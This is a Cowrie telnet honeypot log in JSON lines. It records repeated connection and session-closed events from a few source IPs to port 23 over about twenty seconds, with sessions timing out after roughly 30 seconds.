{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":41822,"dst_ip":"10.17.0.5","dst_port":23,"session":"64ddfafd5455","protocol":"telnet","message":"New connection: 66.113.179.55:41822 (10.17.0.5:23) [session: 64ddfafd5455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:31.136115Z"}
{"eventid":"cowrie.session.closed","duration":30.775500774383545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:31.546308Z","src_ip":"66.113.179.55","session":"99e48da1d696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44544,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe8cde20c7f","protocol":"telnet","message":"New connection: 66.113.179.55:44544 (10.17.0.5:23) [session: bbe8cde20c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:32.136809Z"}
{"eventid":"cowrie.session.closed","duration":31.957937717437744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:32.431828Z","src_ip":"66.113.179.55","session":"8163d38bad0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4074764251709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:32.524111Z","src_ip":"66.113.179.55","session":"c83e05abef90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":37216,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4b52224ef3f","protocol":"telnet","message":"New connection: 186.64.112.9:37216 (10.17.0.5:23) [session: d4b52224ef3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:32.756416Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":37400,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f21605b8a7","protocol":"telnet","message":"New connection: 186.64.112.9:37400 (10.17.0.5:23) [session: b9f21605b8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:33.376225Z"}
{"eventid":"cowrie.session.closed","duration":30.940972566604614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:33.994895Z","src_ip":"66.113.179.55","session":"e67d0103e6ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":49964,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce92cec4ce8","protocol":"telnet","message":"New connection: 66.113.179.55:49964 (10.17.0.5:23) [session: 0ce92cec4ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:34.097503Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":41178,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbc3cf9f37a6","protocol":"telnet","message":"New connection: 50.116.100.16:41178 (159.203.135.109:23) [session: bbc3cf9f37a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:34.344687Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":41194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4ab349d7458","protocol":"telnet","message":"New connection: 50.116.100.16:41194 (159.203.135.109:23) [session: a4ab349d7458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:34.361598Z"}
{"eventid":"cowrie.session.closed","duration":30.891252756118774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:34.507998Z","src_ip":"66.113.179.55","session":"30915a609432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121974229812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:35.210359Z","src_ip":"66.113.179.55","session":"b80b6739f742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.473471879959106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:35.489318Z","src_ip":"66.113.179.55","session":"274faed937af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034738540649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:35.778986Z","src_ip":"66.113.179.55","session":"19f4f16f8872","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55854,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef23b089c77c","protocol":"telnet","message":"New connection: 66.113.179.55:55854 (10.17.0.5:23) [session: ef23b089c77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:36.168591Z"}
{"eventid":"cowrie.session.closed","duration":30.34769582748413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:36.298815Z","src_ip":"50.116.100.16","session":"a65e8d45367e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75530457496643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:36.527736Z","src_ip":"66.113.179.55","session":"107b0774e92d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65593147277832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:36.533641Z","src_ip":"66.113.179.55","session":"654bf0cee06e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48933982849121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:36.547009Z","src_ip":"66.113.179.55","session":"98edafe852f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677706956863403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:36.600111Z","src_ip":"66.113.179.55","session":"7e09052c5433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33025074005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:36.617248Z","src_ip":"66.113.179.55","session":"f6ebf263f848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879404544830322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.172471Z","src_ip":"50.116.100.16","session":"8443023450de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58466,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ff8fc5c8aa","protocol":"telnet","message":"New connection: 66.113.179.55:58466 (10.17.0.5:23) [session: 91ff8fc5c8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.206689Z"}
{"eventid":"cowrie.session.closed","duration":30.331773042678833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.244705Z","src_ip":"50.116.100.16","session":"70d62c45fff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":44362,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13fe9c4f651","protocol":"telnet","message":"New connection: 50.116.100.16:44362 (159.203.135.109:23) [session: c13fe9c4f651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.316561Z"}
{"eventid":"cowrie.session.closed","duration":30.60145592689514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.494314Z","src_ip":"66.113.179.55","session":"93a630387e64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742400646209717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.541611Z","src_ip":"66.113.179.55","session":"852592fbf1e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":44818,"dst_ip":"159.203.135.109","dst_port":23,"session":"063904ba9eec","protocol":"telnet","message":"New connection: 50.116.100.16:44818 (159.203.135.109:23) [session: 063904ba9eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.700267Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":59754,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82c090cdc5d","protocol":"telnet","message":"New connection: 66.113.179.55:59754 (10.17.0.5:23) [session: c82c090cdc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:37.705968Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":38470,"dst_ip":"10.17.0.5","dst_port":23,"session":"90520df22455","protocol":"telnet","message":"New connection: 186.64.112.9:38470 (10.17.0.5:23) [session: 90520df22455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:38.328050Z"}
{"eventid":"cowrie.session.closed","duration":31.854756355285645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:38.364179Z","src_ip":"66.113.179.55","session":"8287a19e83f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":38488,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc417437e07","protocol":"telnet","message":"New connection: 186.64.112.9:38488 (10.17.0.5:23) [session: fcc417437e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:38.429821Z"}
{"eventid":"cowrie.session.closed","duration":30.341514825820923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:38.513179Z","src_ip":"66.113.179.55","session":"c47f8f97279e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.216827392578125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:38.518119Z","src_ip":"66.113.179.55","session":"7cf4d31ddf7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00650453567505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:38.548435Z","src_ip":"66.113.179.55","session":"0db12f1ad50d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057228565216064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:38.875329Z","src_ip":"66.113.179.55","session":"a68cbe0d7d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":38632,"dst_ip":"10.17.0.5","dst_port":23,"session":"5527f39b3fde","protocol":"telnet","message":"New connection: 186.64.112.9:38632 (10.17.0.5:23) [session: 5527f39b3fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:39.322645Z"}
{"eventid":"cowrie.session.closed","duration":30.581377267837524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:39.523085Z","src_ip":"66.113.179.55","session":"ed0e2bacad0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37248,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19e205c8b4f","protocol":"telnet","message":"New connection: 66.113.179.55:37248 (10.17.0.5:23) [session: f19e205c8b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:39.678565Z"}
{"eventid":"cowrie.session.closed","duration":31.198567628860474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:39.913421Z","src_ip":"66.113.179.55","session":"612a0afe4277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289695978164673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:40.245274Z","src_ip":"66.113.179.55","session":"77c5e5fc99bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39270,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7249e91ed6c","protocol":"telnet","message":"New connection: 66.113.179.55:39270 (10.17.0.5:23) [session: a7249e91ed6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:40.357189Z"}
{"eventid":"cowrie.session.closed","duration":30.96249556541443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:40.507317Z","src_ip":"66.113.179.55","session":"d4fc45c35412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710812091827393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:40.512114Z","src_ip":"66.113.179.55","session":"cd19baace1bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631229162216187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:41.489765Z","src_ip":"66.113.179.55","session":"0d786bb7a86a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80022430419922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:41.544816Z","src_ip":"66.113.179.55","session":"6270ee27d614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43168,"dst_ip":"10.17.0.5","dst_port":23,"session":"20d1e13371ab","protocol":"telnet","message":"New connection: 66.113.179.55:43168 (10.17.0.5:23) [session: 20d1e13371ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:41.682698Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43288,"dst_ip":"10.17.0.5","dst_port":23,"session":"726bebac6ea3","protocol":"telnet","message":"New connection: 66.113.179.55:43288 (10.17.0.5:23) [session: 726bebac6ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:41.727940Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44230,"dst_ip":"10.17.0.5","dst_port":23,"session":"117d874c0a54","protocol":"telnet","message":"New connection: 66.113.179.55:44230 (10.17.0.5:23) [session: 117d874c0a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:42.014386Z"}
{"eventid":"cowrie.session.closed","duration":30.982378482818604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:42.488722Z","src_ip":"66.113.179.55","session":"cbdb57058a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761066198349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:42.521450Z","src_ip":"66.113.179.55","session":"fcee17e86593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.460893869400024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:43.583551Z","src_ip":"66.113.179.55","session":"15ebb5bada80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":49528,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cd708662b9c","protocol":"telnet","message":"New connection: 66.113.179.55:49528 (10.17.0.5:23) [session: 1cd708662b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:43.807685Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":39320,"dst_ip":"10.17.0.5","dst_port":23,"session":"c477cd1db160","protocol":"telnet","message":"New connection: 186.64.112.9:39320 (10.17.0.5:23) [session: c477cd1db160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:44.134207Z"}
{"eventid":"cowrie.session.closed","duration":30.917153120040894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:44.547137Z","src_ip":"66.113.179.55","session":"0c22983b0072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"327072768bdd","protocol":"telnet","message":"New connection: 186.64.112.9:39426 (10.17.0.5:23) [session: 327072768bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:45.085978Z"}
{"eventid":"cowrie.session.closed","duration":30.6692214012146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:45.152058Z","src_ip":"50.116.100.16","session":"0c1087d5ca3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":39458,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1c3ce718037","protocol":"telnet","message":"New connection: 186.64.112.9:39458 (10.17.0.5:23) [session: f1c3ce718037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:45.393197Z"}
{"eventid":"cowrie.session.closed","duration":30.770026922225952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:45.532616Z","src_ip":"66.113.179.55","session":"43ef9994a289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.370853900909424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:45.966998Z","src_ip":"66.113.179.55","session":"cbfa78d95643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":57278,"dst_ip":"10.17.0.5","dst_port":23,"session":"16aa4ffdc3e9","protocol":"telnet","message":"New connection: 66.113.179.55:57278 (10.17.0.5:23) [session: 16aa4ffdc3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:46.495012Z"}
{"eventid":"cowrie.session.closed","duration":30.850048542022705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:46.519333Z","src_ip":"66.113.179.55","session":"02f7a2ba50bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.285929679870605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:46.542196Z","src_ip":"66.113.179.55","session":"d1c65036b532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":57644,"dst_ip":"10.17.0.5","dst_port":23,"session":"c15cf4439acc","protocol":"telnet","message":"New connection: 66.113.179.55:57644 (10.17.0.5:23) [session: c15cf4439acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:46.626182Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58950,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87803490037","protocol":"telnet","message":"New connection: 66.113.179.55:58950 (10.17.0.5:23) [session: a87803490037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:47.105913Z"}
{"eventid":"cowrie.session.closed","duration":31.411516427993774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:47.200056Z","src_ip":"66.113.179.55","session":"5b23a2592aee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645891189575195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:47.526151Z","src_ip":"66.113.179.55","session":"c72720aeaf0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":39698,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5fdc0e471d0","protocol":"telnet","message":"New connection: 186.64.112.9:39698 (10.17.0.5:23) [session: d5fdc0e471d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:47.681204Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":56494,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dc3634fad48","protocol":"telnet","message":"New connection: 50.116.100.16:56494 (159.203.135.109:23) [session: 0dc3634fad48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:48.239867Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":39760,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae7f7b04bbe8","protocol":"telnet","message":"New connection: 186.64.112.9:39760 (10.17.0.5:23) [session: ae7f7b04bbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:48.484724Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":57108,"dst_ip":"159.203.135.109","dst_port":23,"session":"726369635c49","protocol":"telnet","message":"New connection: 50.116.100.16:57108 (159.203.135.109:23) [session: 726369635c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:48.769096Z"}
{"eventid":"cowrie.session.closed","duration":31.19165849685669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:50.302704Z","src_ip":"66.113.179.55","session":"02d4dfb28e55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01494002342224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:50.672423Z","src_ip":"66.113.179.55","session":"4525fd7b2ade","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":39920,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7e00c1fcc5","protocol":"telnet","message":"New connection: 186.64.112.9:39920 (10.17.0.5:23) [session: 2b7e00c1fcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:50.836569Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":39924,"dst_ip":"10.17.0.5","dst_port":23,"session":"275043a5a6ca","protocol":"telnet","message":"New connection: 186.64.112.9:39924 (10.17.0.5:23) [session: 275043a5a6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:50.849786Z"}
{"eventid":"cowrie.session.closed","duration":31.092063426971436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:51.503706Z","src_ip":"66.113.179.55","session":"ec3991dad85a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9200279712677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:51.552433Z","src_ip":"66.113.179.55","session":"32b3155ebb50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":60156,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f83358644e4","protocol":"telnet","message":"New connection: 50.116.100.16:60156 (159.203.135.109:23) [session: 5f83358644e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:51.599633Z"}
{"eventid":"cowrie.session.closed","duration":30.87292718887329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:51.644186Z","src_ip":"50.116.100.16","session":"7c6784541e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233758211135864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:52.102440Z","src_ip":"66.113.179.55","session":"ac2705c72ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44948,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2f88b2d0a1","protocol":"telnet","message":"New connection: 66.113.179.55:44948 (10.17.0.5:23) [session: 8b2f88b2d0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:52.202989Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":45420,"dst_ip":"10.17.0.5","dst_port":23,"session":"137259b3ef14","protocol":"telnet","message":"New connection: 66.113.179.55:45420 (10.17.0.5:23) [session: 137259b3ef14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:52.360342Z"}
